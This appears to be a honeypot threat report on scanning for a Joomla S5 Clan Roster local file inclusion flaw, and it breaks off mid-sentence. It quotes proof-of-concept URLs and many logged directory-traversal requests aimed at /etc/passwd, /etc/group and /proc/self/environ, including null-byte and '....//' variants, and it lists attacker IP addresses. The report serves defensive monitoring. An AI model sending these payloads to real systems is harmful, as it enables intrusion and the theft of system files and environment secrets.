Our web honeypots picked up some increased scanning for the following Exploit-DB vulnerability:
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[o] Joomla Component S5 Clan Roster Local File Inclusion Vulnerability
Software : com_s5clanroster
Vendor : http://www.shape5.com
Author : AntiSecurity [ s4va Vrs-hCk NoGe OoN_BoY Paman zxvf ]
Contact : public[at]antisecurity[dot]org
Home : http://antisecurity.org/
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[o] Exploit
http://localhost/[path]/index.php?option=com_s5clanroster&view=[LFI]
http://localhost/[path]/index.php?option=com_s5clanroster&controller=[LFI]
[o] PoC
http://localhost/index.php?option=com_s5clanroster&view=../../../../../../../../../../etc/passwd%00
http://localhost/index.php?option=com_s5clanroster&controller=../../../../../../../../../../etc/passwd%00
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[o] April 14 2010 - GMT +07:00 Jakarta, Indonesia
Here are some examples of the attacks we saw:
82.165.134.221 - - [14/Apr/2012:04:08:14 +0900] "GET //index.php?option=com_s5clanroster&view=../../../../etc/group%0000 HTTP/1.1" 404 216
82.165.134.221 - - [14/Apr/2012:04:08:15 +0900] "GET //index.php?option=com_s5clanroster&view=../../../etc/group%0000 HTTP/1.1" 404 21682.165.134.221 - - [14/Apr/2012:04:08:15 +0900] "GET //index.php?option=com_s5clanroster&view=../../etc/group%0000 HTTP/1.1" 404 216
82.165.134.221 - - [14/Apr/2012:04:08:16 +0900] "GET //index.php?option=com_s5clanroster&view=../etc/group%0000 HTTP/1.1" 404 216174.142.61.153 - - [14/Apr/2012:04:15:41 +0900] "GET //index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../../../../../../../../../../
proc/self/environ%0000 HTTP/1.1" 404 21691.121.211.92 - - [14/Apr/2012:04:17:19 +0900] "GET //index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.
1" 404 21691.121.211.92 - - [14/Apr/2012:04:17:19 +0900] "GET /access_log.last//index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../proc/self/en
viron%00 HTTP/1.1" 404 232174.142.61.153 - - [14/Apr/2012:04:17:40 +0900] "GET /access_log.last//index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../../../../..
/../../../../../proc/self/environ%0000 HTTP/1.1" 404 232174.142.61.153 - - [14/Apr/2012:04:17:41 +0900] "GET //index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../../../../../../../../../../
proc/self/environ%0000 HTTP/1.1" 404 216
174.142.61.153 - - [14/Apr/2012:04:17:43 +0900] "GET /access_log//index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../../../../../../.
./../../../proc/self/environ%0000 HTTP/1.1" 404 227
174.142.61.153 - - [14/Apr/2012:04:28:33 +0900] "GET //index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../../../../../../../../../../
proc/self/environ%0000 HTTP/1.1" 404 216
174.142.61.153 - - [14/Apr/2012:04:29:32 +0900] "GET //index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../../../../../../../../../../
proc/self/environ%0000 HTTP/1.1" 404 216
174.142.61.153 - - [14/Apr/2012:04:30:39 +0900] "GET /access_log.last//index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../../../../..
/../../../../../proc/self/environ%0000 HTTP/1.1" 404 232
174.142.61.153 - - [14/Apr/2012:04:30:40 +0900] "GET //index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../../../../../../../../../../
proc/self/environ%0000 HTTP/1.1" 404 216
174.142.61.153 - - [14/Apr/2012:04:30:46 +0900] "GET /access_log//index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../../../../../../.
./../../../proc/self/environ%0000 HTTP/1.1" 404 227209.235.136.114 - - [14/Apr/2012:08:03:26 +0900] "GET //index.php?option=com_s5clanroster&view=../../../../../../../../../../../../../../../../../../../../etc/passwd%0000 H
TTP/1.0" 404 204
209.235.136.114 - - [14/Apr/2012:08:03:26 +0900] "GET //index.php?option=com_s5clanroster&view=../../../../../../../../../../../../../../../../../../../etc/passwd%0000 HTTP
/1.0" 404 204209.235.136.114 - - [14/Apr/2012:08:03:27 +0900] "GET //index.php?option=com_s5clanroster&view=../../../../../../../../../../../../../../../../../../etc/passwd%0000 HTTP/1.
0" 404 204209.235.136.114 - - [14/Apr/2012:08:03:28 +0900] "GET //index.php?option=com_s5clanroster&view=../../../../../../../../../../../../../../../../../etc/passwd%0000 HTTP/1.0"
404 204
We received attacks from 16 different IP addresses:
166.70.107.5
174.142.61.153
177.19.138.42
189.3.93.242
202.124.242.10
207.32.48.1
209.235.136.113
209.235.136.114
209.235.136.115
46.163.76.40
69.49.102.173
69.49.102.175
82.165.134.221
83.143.81.78
91.121.211.92
91.215.216.52
While these scan examples were rather normal (we have seen these directory traversal attempts many times before for other Joomla components), there was a variation in the directory traversal methods being used. Here are two examples:
69.49.102.173 - - [15/Apr/2012:09:35:36 +0900] "GET //index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../..
/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/group%0000 HTTP/1.0" 404 20469.49.102.173 - - [15/Apr/2012:09:35:37 +0900] "GET //index.php?option=com_s5clanroster&controller=....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//..../
/....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd%0000 HTTP/1.0" 404 204
A good bet for the use of these techniques are: